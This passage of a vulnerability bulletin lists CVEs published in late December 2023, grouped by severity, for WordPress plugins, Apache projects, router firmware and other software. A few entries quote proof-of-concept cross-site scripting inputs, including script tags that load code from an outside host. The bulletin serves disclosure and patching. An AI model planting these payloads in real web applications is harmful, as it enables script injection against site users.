wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Brainstorm Force WP Remote Site Search allows Stored XSS. This issue affects WP Remote Site Search: from n/a through 1.0.4.	2023-12-29	6.5	CVE-2023-51397 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in WPFactory Back Button Widget allows Stored XSS. This issue affects Back Button Widget: from n/a through 1.6.3.	2023-12-29	6.5	CVE-2023-51399 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Aleksandar Uroševi? Stock Ticker allows Stored XSS. This issue affects Stock Ticker: from n/a through 3.23.4.	2023-12-29	6.5	CVE-2023-51541 [email protected]
wordpress — wordpress	Unofficial Mobile BankID Integration for WordPress lets users employ Mobile BankID to authenticate themselves on your WordPress site. Prior to 1.0.1, WP-Mobile-BankID-Integration is affected by a vulnerability classified as a Deserialization of Untrusted Data vulnerability, specifically impacting scenarios where an attacker can manipulate the database. If unauthorized actors gain access to the database, they could exploit this vulnerability to execute object injection attacks. This could lead to unauthorized code execution, data manipulation, or data exfiltration within the WordPress environment. Users of the plugin should upgrade to version 1.0.1 (or later), where the serialization and deserialization of OrderResponse objects have been switched out to an array stored as JSON. A possible workaround for users unable to upgrade immediately is to enforce stricter access controls on the database, ensuring that only trusted and authorized entities can modify data. Additionally, implementing monitoring tools to detect unusual database activities could help identify and mitigate potential exploitation attempts.	2023-12-27	6.4	CVE-2023-51700 [email protected] [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in BoxyStudio Booked – Appointment Booking for WordPress \| Calendars. This issue affects Booked – Appointment Booking for WordPress \| Calendars: from n/a before 2.4.4.	2023-12-28	5.3	CVE-2022-36399 [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in VeronaLabs WP SMS – Messaging & SMS Notification for WordPress, WooCommerce, GravityForms, etc. This issue affects WP SMS – Messaging & SMS Notification for WordPress, WooCommerce, GravityForms, etc: from n/a through 6.0.4.	2023-12-28	5.3	CVE-2023-27447 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in ibericode HTML Forms allows Stored XSS. This issue affects HTML Forms: from n/a through 1.3.28.	2023-12-28	5.9	CVE-2023-50836 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Bill Minozzi Disable Json API, Login Lockdown, XMLRPC, Pingback, Stop User Enumeration Anti Hacker Scan. This issue affects Disable Json API, Login Lockdown, XMLRPC, Pingback, Stop User Enumeration Anti Hacker Scan: from n/a through 4.34.	2023-12-28	5.4	CVE-2023-50858 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in InspireUI MStore API. This issue affects MStore API: from n/a through 4.10.1.	2023-12-29	5.4	CVE-2023-50878 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in weForms weForms – Easy Drag & Drop Contact Form Builder For WordPress allows Stored XSS. This issue affects weForms – Easy Drag & Drop Contact Form Builder For WordPress: from n/a through 1.6.17.	2023-12-29	5.9	CVE-2023-50896 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Bright Plugins Block IPs for Gravity Forms. This issue affects Block IPs for Gravity Forms: from n/a through 1.0.1.	2023-12-29	5.4	CVE-2023-51358 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Ginger Plugins Sticky Chat Widget: Click to chat, SMS, Email, Messages, Call Button, Live Chat and Live Support Button allows Stored XSS. This issue affects Sticky Chat Widget: Click to chat, SMS, Email, Messages, Call Button, Live Chat and Live Support Button: from n/a through 1.1.8.	2023-12-29	5.9	CVE-2023-51361 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Bit Assist Chat Widget: WhatsApp Chat, Facebook Messenger Chat, Telegram Chat Bubble, Line Messenger, Live Chat Support Chat Button, WeChat, SMS, Call Button, Customer Support Button with floating Chat Widget allows Stored XSS. This issue affects Chat Widget: WhatsApp Chat, Facebook Messenger Chat, Telegram Chat Bubble, Line Messenger, Live Chat Support Chat Button, WeChat, SMS, Call Button, Customer Support Button with floating Chat Widget: from n/a through 1.1.9.	2023-12-29	5.9	CVE-2023-51371 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in HasThemes HashBar – WordPress Notification Bar allows Stored XSS. This issue affects HashBar – WordPress Notification Bar: from n/a through 1.4.1.	2023-12-29	5.9	CVE-2023-51372 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in ZeroBounce ZeroBounce Email Verification & Validation allows Stored XSS. This issue affects ZeroBounce Email Verification & Validation: from n/a through 1.0.11.	2023-12-29	5.9	CVE-2023-51374 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Rise Themes Rise Blocks – A Complete Gutenberg Page Builder. This issue affects Rise Blocks – A Complete Gutenberg Page Builder: from n/a through 3.1.	2023-12-29	5.4	CVE-2023-51378 [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Senol Sahin AI Power: Complete AI Pack – Powered by GPT-4. This issue affects AI Power: Complete AI Pack – Powered by GPT-4: from n/a through 1.8.2.	2023-12-29	5.3	CVE-2023-51527 [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in impleCode Product Catalog Simple. This issue affects Product Catalog Simple: from n/a through 1.7.6.	2023-12-29	5.3	CVE-2023-51687 [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in impleCode eCommerce Product Catalog Plugin for WordPress. This issue affects eCommerce Product Catalog Plugin for WordPress: from n/a through 3.3.26.	2023-12-29	5.3	CVE-2023-51688 [email protected]
wordpress — wordpress	The Divi theme for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin’s ‘et_pb_text’ shortcode in all versions up to, and including, 4.23.1 due to insufficient input sanitization and output escaping on user supplied custom field data. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2023-12-23	5.4	CVE-2023-6744 [email protected] [email protected]
wordpress — wordpress	A vulnerability was found in BestWebSoft Portfolio Plugin up to 2.04 on WordPress. It has been classified as problematic. This affects an unknown part. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. Upgrading to version 2.06 is able to address this issue. The patch is named 68af950330c3202a706f0ae9bbb52ceaa17dda9d. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-248955.	2023-12-26	4.3	CVE-2012-10017 [email protected] [email protected] [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in CRM Perks Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms. This issue affects Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms: from n/a through 1.2.8.	2023-12-29	4.7	CVE-2023-31095 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in WP Directory Kit. This issue affects WP Directory Kit: from n/a through 1.1.9.	2023-12-29	4.7	CVE-2023-31229 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in Dylan James Zephyr Project Manager. This issue affects Zephyr Project Manager: from n/a through 3.3.9.	2023-12-29	4.7	CVE-2023-31237 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in Pexle Chris Library Viewer. This issue affects Library Viewer: from n/a through 2.0.6.	2023-12-29	4.7	CVE-2023-32101 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in PluginOps MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder. This issue affects MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder: from n/a through 4.0.9.3.	2023-12-29	4.7	CVE-2023-32517 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Marios Alexandrou Add Any Extension to Pages. This issue affects Add Any Extension to Pages: from n/a through 1.4.	2023-12-28	4.3	CVE-2023-50873 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in WPExpertsio New User Approve. This issue affects New User Approve: from n/a through 2.5.1.	2023-12-29	4.3	CVE-2023-50902 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in WebbaPlugins Appointment & Event Booking Calendar Plugin – Webba Booking. This issue affects Appointment & Event Booking Calendar Plugin – Webba Booking: from n/a through 4.5.33.	2023-12-29	4.3	CVE-2023-51354 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Brain Storm Force Ultimate Addons for WPBakery Page Builder. This issue affects Ultimate Addons for WPBakery Page Builder: from n/a through 3.19.17.	2023-12-29	4.3	CVE-2023-51402 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in CodePeople Calculated Fields Form. This issue affects Calculated Fields Form: from n/a through 1.2.28.	2023-12-29	4.1	CVE-2023-51517 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in AAM Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More. This issue affects Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More: from n/a through 6.9.18.	2023-12-29	4.7	CVE-2023-51675 [email protected]
wordpress — wordpress	Server-Side Request Forgery (SSRF) vulnerability in Leevio Happy Addons for Elementor. This issue affects Happy Addons for Elementor: from n/a through 3.9.1.1.	2023-12-29	4.9	CVE-2023-51676 [email protected]
y_project — ruoyi	A vulnerability was found in y_project RuoYi 4.7.8. It has been declared as problematic. This vulnerability affects unknown code of the file /login of the component HTTP POST Request Handler. The manipulation of the argument rememberMe with the input falsen3f0m<script>alert(1)</script>p86o0 leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249136.	2023-12-28	4.3	CVE-2023-7133 [email protected] [email protected] [email protected]
yiisoft — yii2-authclient	yii2-authclient is an extension that adds OpenID, OAuth, OAuth2 and OpenId Connect consumers for the Yii framework 2.0. In yii2-authclient prior to version 2.2.15, the Oauth1/2 `state` and OpenID Connect `nonce` is vulnerable for a `timing attack` since it is compared via regular string comparison (instead of `Yii::$app->getSecurity()->compareString()`). Version 2.2.15 contains a patch for the issue. No known workarounds are available.	2023-12-22	6.1	CVE-2023-50708 [email protected] [email protected] [email protected] [email protected] [email protected]
yiisoft — yii2-authclient	yii2-authclient is an extension that adds OpenID, OAuth, OAuth2 and OpenId Connect consumers for the Yii framework 2.0. In yii2-authclient prior to version 2.2.15, the Oauth2 PKCE implementation is vulnerable in 2 ways. First, the `authCodeVerifier` should be removed after usage (similar to `authState`). Second, there is a risk for a `downgrade attack` if PKCE is being relied on for CSRF protection. Version 2.2.15 contains a patch for the issue. No known workarounds are available.	2023-12-22	6.8	CVE-2023-50714 [email protected] [email protected] [email protected] [email protected] [email protected]
ìzmir_katip_çelebi_university — university_information_management_system	Improper Input Validation vulnerability in İzmir Katip Çelebi University University Information Management System allows Absolute Path Traversal. This issue affects University Information Management System: before 30.11.2023.	2023-12-27	6.5	CVE-2023-6190 [email protected]

Low Vulnerabilities

Primary Vendor — Product	Description	Published	CVSS Score	Source & Patch Info
bestwebsoft — portfolio_plugin	A vulnerability was found in BestWebSoft Portfolio Plugin up to 2.27. It has been declared as problematic. This vulnerability affects the function bws_add_menu_render of the file bws_menu/bws_menu.php. The manipulation of the argument bwsmn_form_email leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 2.28 is able to address this issue. The name of the patch is d2ede580474665af56ff262a05783fbabe4529b8. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248956.	2023-12-26	3.5	CVE-2014-125109 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability was found in code-projects Client Details System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /admin/regester.php. The manipulation of the argument fname/lname/email/contact leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249146 is the identifier assigned to this vulnerability.	2023-12-29	2.4	CVE-2023-7143 [email protected] [email protected] [email protected]
code-projects — intern_membership_management_system	A vulnerability was found in code-projects Intern Membership Management System 2.0. It has been classified as problematic. This affects an unknown part of the file /user_registration/ of the component User Registration. The manipulation of the argument userName/firstName/lastName/userEmail with the input “><ScRiPt>confirm(document.domain)</ScRiPt>h0la leads to cross site scripting. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249135.	2023-12-28	3.5	CVE-2023-7132 [email protected] [email protected] [email protected]
code-projects — qr_code_generator	A vulnerability was found in code-projects QR Code Generator 1.0. It has been classified as problematic. This affects an unknown part of the file /download.php?file=author.png. The manipulation of the argument file with the input “><iMg src=N onerror=alert(document.domain)> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249153 was assigned to this vulnerability.	2023-12-29	3.5	CVE-2023-7149 [email protected] [email protected] [email protected]
code-projects — record_management_system	A vulnerability classified as problematic has been found in code-projects Record Management System 1.0. Affected is an unknown function of the file /main/offices.php of the component Offices Handler. The manipulation of the argument officename with the input “><script src=”https://js.rip/b23tmbxf49”></script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249138 is the identifier assigned to this vulnerability.	2023-12-28	2.4	CVE-2023-7135 [email protected] [email protected] [email protected]
code-projects — record_management_system	A vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input “><script src=”https://js.rip/b23tmbxf49”></script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.	2023-12-28	2.4	CVE-2023-7136 [email protected] [email protected] [email protected]
honor — com.hihonor.magichome	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.	2023-12-29	3.3	CVE-2023-23430 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — com.hihonor.vmall	Some Honor products are affected by information leak vulnerability, successful exploitation could cause the information leak	2023-12-29	3.3	CVE-2023-23437 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00	Some Honor products are affected by information leak vulnerability, successful exploitation could cause the information leak.	2023-12-29	3.3	CVE-2023-23440 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.	2023-12-29	3.3	CVE-2023-23428 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by out of bounds read vulnerability, successful exploitation could cause information leak.	2023-12-29	3.2	CVE-2023-51432 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.	2023-12-29	2.9	CVE-2023-51433 3836d913-7555-4dd0-a509-f5667fdf5fe4
mattermost — mattermost	Mattermost version 8.1.6 and earlier fails to sanitize channel mention data in posts, which allows an attacker to inject markup in the web client.	2023-12-29	3.7	CVE-2023-7113 [email protected]
myaac — myaac	A vulnerability was found in slawkens MyAAC up to 0.8.13. It has been declared as problematic. This vulnerability affects unknown code of the file system/pages/bugtracker.php. The manipulation of the argument bug[2][‘subject’]/bug[2][‘text’]/report[‘subject’] leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 0.8.14 is able to address this issue. The name of the patch is 83a91ec540072d319dd338abff45f8d5ebf48190. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248848.	2023-12-22	3.5	CVE-2023-7076 [email protected] [email protected] [email protected] [email protected]
nautobot — nautobot	Nautobot is a Network Source of Truth and Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database. When submitting a Job to run via a Job Button, only the model-level `extras.run_job` permission is checked (i.e., does the user have permission to run Jobs in general). Object-level permissions (i.e., does the user have permission to run this specific Job?) are not enforced by the URL/view used in this case. A user with permissions to run even a single Job can actually run all configured JobButton Jobs. Fix will be available in Nautobot 1.6.8 and 2.1.0	2023-12-22	3.5	CVE-2023-51649 [email protected] [email protected] [email protected] [email protected]
nextcloud — nextcloud/cloud	Nextcloud/Cloud is a calendar app for Nextcloud. An attacker can gain access to stacktrace and internal paths of the server when generating an exception while editing a calendar appointment. It is recommended that the Nextcloud Calendar app is upgraded to 4.5.3	2023-12-22	3.5	CVE-2023-48308 [email protected] [email protected]
novel-plus — novel-plus	A vulnerability classified as problematic has been found in Novel-Plus up to 4.2.0. This affects an unknown part of the file /user/updateUserInfo of the component HTTP POST Request Handler. The manipulation of the argument nickName leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is c62da9bb3a9b3603014d0edb436146512631100d. It is recommended to apply a patch to fix this issue. The identifier VDB-249201 was assigned to this vulnerability.	2023-12-29	3.5	CVE-2023-7166 [email protected] [email protected] [email protected] [email protected]
novel-plus — novel-plus	A vulnerability was found in Novel-Plus up to 4.2.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file novel-admin/src/main/java/com/java2nb/novel/controller/FriendLinkController.java of the component Friendly Link Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The patch is named d6093d8182362422370d7eaf6c53afde9ee45215. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-249307.	2023-12-29	2.4	CVE-2023-7171 [email protected] [email protected] [email protected] [email protected]
pandora_fms — pandora_fms	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Allows you to edit the Web Console user notification options. This issue affects Pandora FMS: from 700 through 774.	2023-12-29	3	CVE-2023-41813 [email protected]
pandora_fms — pandora_fms	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Through an HTML payload (iframe tag) it is possible to carry out XSS attacks when the user receiving the messages opens their notifications. This issue affects Pandora FMS: from 700 through 774.	2023-12-29	3.7	CVE-2023-41814 [email protected]
poly — multiple_products	A vulnerability classified as problematic has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This affects an unknown part of the component Web Configuration Application. The manipulation leads to insufficiently random values. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249255.	2023-12-29	3.7	CVE-2023-4462 [email protected] [email protected] [email protected] [email protected]
poly — multiple_products	A vulnerability, which was classified as problematic, was found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. Affected is an unknown function of the component Configuration File Import. The manipulation of the argument device.auth.localAdminPassword leads to unverified password change. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249258 is the identifier assigned to this vulnerability.	2023-12-29	2.7	CVE-2023-4465 [email protected] [email protected] [email protected] [email protected]
poly — multiple_products	A vulnerability has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Web Interface. The manipulation leads to protection mechanism failure. The attack can be launched remotely. The vendor explains that they do not regard this as a vulnerability as this is a feature that they offer to their customers who have a variety of environmental needs that are met through different firmware builds. To avoid potential roll-back attacks, they remove vulnerable builds from the public servers as a remediation effort. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249259.	2023-12-29	2.7	CVE-2023-4466 [email protected] [email protected] [email protected] [email protected]
sourcecodester — engineers_online_portal	A vulnerability was found in SourceCodester Engineers Online Portal 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Add Engineer Handler. The manipulation of the argument first name/last name with the input <script>alert(0)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249182 is the identifier assigned to this vulnerability.	2023-12-29	2.4	CVE-2023-7160 [email protected] [email protected]
w3c — online-spellchecker-py	A vulnerability was found in w3c online-spellchecker-py up to 20140130. It has been rated as problematic. This issue affects some unknown processing of the file spellchecker. The manipulation leads to cross site scripting. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The identifier of the patch is d6c21fd8187c5db2a50425ff80694149e75d722e. It is recommended to apply a patch to fix this issue. The identifier VDB-248849 was assigned to this vulnerability.	2023-12-23	3.1	CVE-2014-125108 [email protected] [email protected] [email protected]
winter_cms — winter_cms	Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4.	2023-12-29	3.3	CVE-2023-52085 [email protected] [email protected]
winter_cms — winter_cms	Winter is a free, open-source content management system. Prior to 1.2.4, users with the `media.manage_media` permission can upload files to the Media Manager and rename them after uploading. Previously, media manager files were only sanitized on upload, not on renaming, which could have allowed a stored XSS attack. This issue has been patched in v1.2.4.	2023-12-28	2	CVE-2023-52083 [email protected] [email protected]
winter_cms — winter_cms	Winter is a free, open-source content management system. Prior to 1.2.4, Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be rendered unescaped in the backend form, potentially allowing for a stored XSS attack. This issue has been patched in v1.2.4.	2023-12-28	2	CVE-2023-52084 [email protected] [email protected]
wordpress — wordpress	A vulnerability was found in PlusCaptcha Plugin up to 2.0.6 on WordPress and classified as problematic. Affected by this issue is some unknown functionality. The manipulation leads to cross site scripting. The attack may be launched remotely. Upgrading to version 2.0.14 is able to address this issue. The patch is identified as 1274afc635170daafd38306487b6bb8a01f78ecd. It is recommended to upgrade the affected component. VDB-248954 is the identifier assigned to this vulnerability.	2023-12-26	3.5	CVE-2015-10127 [email protected] [email protected] [email protected]
wordpress — wordpress	Missing Authorization vulnerability in Anders Thorborg. This issue affects Anders Thorborg: from n/a through 1.4.12.	2023-12-29	3.1	CVE-2023-22676 [email protected]
wordpress — wordpress	URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability in SolidWP Solid Security – Password, Two Factor Authentication, and Brute Force Protection. This issue affects Solid Security – Password, Two Factor Authentication, and Brute Force Protection: from n/a through 8.1.4.	2023-12-29	3.7	CVE-2023-28786 [email protected]

Severity Not Yet Assigned

Primary Vendor — Product	Description	Published	CVSS Score	Source & Patch Info
3cx — 3cx	The CRM Integration in 3CX before 18.0.9.23 and 20 before 20.0.0.1494 allows SQL Injection via a first name, search string, or email address.	2023-12-25	not yet calculated	CVE-2023-49954 [email protected]
alfasado_inc. — powercms	PowerCMS (6 Series, 5 Series, and 4 Series) contains a stored cross-site scripting vulnerability. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user’s web browser. Note that all versions of PowerCMS 3 Series and earlier which are unsupported (End-of-Life, EOL) are also affected by this vulnerability.	2023-12-26	not yet calculated	CVE-2023-49117 [email protected] [email protected]
alfasado_inc. — powercms	Open redirect vulnerability in PowerCMS (6 Series, 5 Series, and 4 Series) allows a remote unauthenticated attacker to redirect users to arbitrary web sites via a specially crafted URL. Note that all versions of PowerCMS 3 Series and earlier which are unsupported (End-of-Life, EOL) are also affected by this vulnerability.	2023-12-26	not yet calculated	CVE-2023-50297 [email protected] [email protected]
apache — dolphinscheduler	Improper Input Validation vulnerability in Apache DolphinScheduler. An authenticated user can cause arbitrary, unsandboxed javascript to be executed on the server. This issue affects Apache DolphinScheduler: until 3.1.9. Users are recommended to upgrade to version 3.1.9, which fixes the issue.	2023-12-30	not yet calculated	CVE-2023-49299 [email protected] [email protected]
apache — ofbiz	Arbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.	2023-12-26	not yet calculated	CVE-2023-50968 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
apache — ofbiz	The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)	2023-12-26	not yet calculated	CVE-2023-51467 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
apache — openoffice	Apache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose. Links can be activated by clicks, or by automatic document events. The execution of such links must be subject to user approval. In the affected versions of OpenOffice, approval for certain links is not requested; when activated, such links could therefore result in arbitrary script execution. This is a corner case of CVE-2022-47502.	2023-12-29	not yet calculated	CVE-2023-47804 [email protected] [email protected]
array — arrayos_ag	MotionPro in Array ArrayOS AG before 9.4.0.505 on AG and vxAG allows remote command execution via crafted packets. AG and vxAG 9.3.0.259.x are unaffected.	2023-12-22	not yet calculated	CVE-2023-51707 [email protected]
arris_solutions,_inc. — dg860a/dg1670a	Arris DG860A and DG1670A devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. (They use the first 6 characters of the SSID and the last 6 characters of the BSSID, decrementing the last digit.)	2023-12-27	not yet calculated	CVE-2023-40038 [email protected] [email protected]
artistscope — artisbrowser	An issue in ArtistScope ArtisBrowser v.34.1.5 and before allows an attacker to bypass intended access restrictions via interaction with the com.artis.browser.IntentReceiverActivity component.	2023-12-27	not yet calculated	CVE-2023-49000 [email protected] [email protected]
asp.net_zero — asp.net_zero	An open redirect through HTML injection in user messages in Asp.Net Zero before 12.3.0 allows remote attackers to redirect targeted victims to any URL via the ‘<meta http-equiv=”refresh”‘ in the WebSocket messages.	2023-12-26	not yet calculated	CVE-2023-48003 [email protected] [email protected]
barracuda_networks_inc. — barracuda_esg_appliance	Use of a Third Party library produced a vulnerability in Barracuda Networks Inc. Barracuda ESG Appliance which allowed Parameter Injection. This issue affected Barracuda ESG Appliance, from 5.1.3.001 through 9.2.1.001, until Barracuda removed the vulnerable logic.	2023-12-24	not yet calculated	CVE-2023-7102 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
bees_blog — bees_blog	The beesblog (aka Bees Blog) component before 1.6.2 for thirty bees allows Reflected XSS because controllers/front/post.php sharing_url is mishandled.	2023-12-30	not yet calculated	CVE-2023-52264 [email protected] [email protected] [email protected]
bentley_systems — assetwise_integrity_information_server	Bentley eB System Management Console applications within Assetwise Integrity Information Server allow an unauthenticated user to view configuration options via a crafted request, leading to information disclosure. This affects eB System management Console before 23.00.02.03 and Assetwise ALIM For Transportation before 23.00.01.25.	2023-12-22	not yet calculated	CVE-2023-51708 [email protected]
beyondtrust_corporation — privilege_management_for_windows	The Challenge Response feature of BeyondTrust Privilege Management for Windows (PMfW) before 2023-07-14 allows local administrators to bypass this feature by decrypting the shared key, or by locating the decrypted shared key in process memory. The threat is mitigated by the Agent Protection feature.	2023-12-25	not yet calculated	CVE-2023-49944 [email protected] [email protected]
brave_browser — brave_browser	Brave Browser before 1.59.40 does not properly restrict the schema for WebUI factory and redirect. This is related to browser/brave_content_browser_client.cc and browser/ui/webui/brave_web_ui_controller_factory.cc.	2023-12-30	not yet calculated	CVE-2023-52263 [email protected] [email protected] [email protected] [email protected]
brother_industries,_ltd. — iprint&scan_desktop_for_windows	Improper link resolution before file access (‘Link Following’) issue exists in iPrint&Scan Desktop for Windows versions 11.0.0 and earlier. A symlink attack by a malicious user may cause a Denial-of-service (DoS) condition on the PC.	2023-12-26	not yet calculated	CVE-2023-51654 [email protected]
buffalo_inc. — vr-s1000	VR-S1000 firmware Ver. 2.37 and earlier allows an attacker with access to the product’s web management page to execute arbitrary OS commands.	2023-12-26	not yet calculated	CVE-2023-45741 [email protected] [email protected]
buffalo_inc. — vr-s1000	Improper neutralization of argument delimiters in a command (‘Argument Injection’) vulnerability in VR-S1000 firmware Ver. 2.37 and earlier allows an authenticated attacker who can access to the product’s command line interface to execute an arbitrary command.	2023-12-26	not yet calculated	CVE-2023-46681 [email protected] [email protected]
buffalo_inc. — vr-s1000	VR-S1000 firmware Ver. 2.37 and earlier uses a hard-coded cryptographic key which may allow an attacker to analyze the password of a specific product user.	2023-12-26	not yet calculated	CVE-2023-46711 [email protected] [email protected]
buffalo_inc. — vr-s1000	VR-S1000 firmware Ver. 2.37 and earlier allows a network-adjacent unauthenticated attacker who can access the product’s web management page to obtain sensitive information.	2023-12-26	not yet calculated	CVE-2023-51363 [email protected] [email protected]
buildkite — elastic_ci_for_aws	A symbolic link following vulnerability in Buildkite Elastic CI for AWS versions prior to 6.7.1 and 5.22.5 allows the buildkite-agent user to change ownership of arbitrary directories via the PIPELINE_PATH variable in the fix-buildkite-agent-builds-permissions script.	2023-12-22	not yet calculated	CVE-2023-43116 [email protected]
buildkite — elastic_ci_for_aws	A time-of-check-time-of-use race condition vulnerability in Buildkite Elastic CI for AWS versions prior to 6.7.1 and 5.22.5 allows the buildkite-agent user to bypass a symbolic link check for the PIPELINE_PATH variable in the fix-buildkite-agent-builds-permissions script.	2023-12-22	not yet calculated	CVE-2023-43741 [email protected]
com.sdjictec.qdmetro — com.sdjictec.qdmetro	An issue in the export component AdSdkH5Activity of com.sdjictec.qdmetro v4.2.2 allows attackers to open a crafted URL without any filtering or checking.	2023-12-28	not yet calculated	CVE-2023-51010 [email protected]
documize_inc. — documize	SQL Injection vulnerability in Documize version 5.4.2, allows remote attackers to execute arbitrary code via the user parameter of the /api/dashboard/activity endpoint.	2023-12-29	not yet calculated	CVE-2023-23634 [email protected]
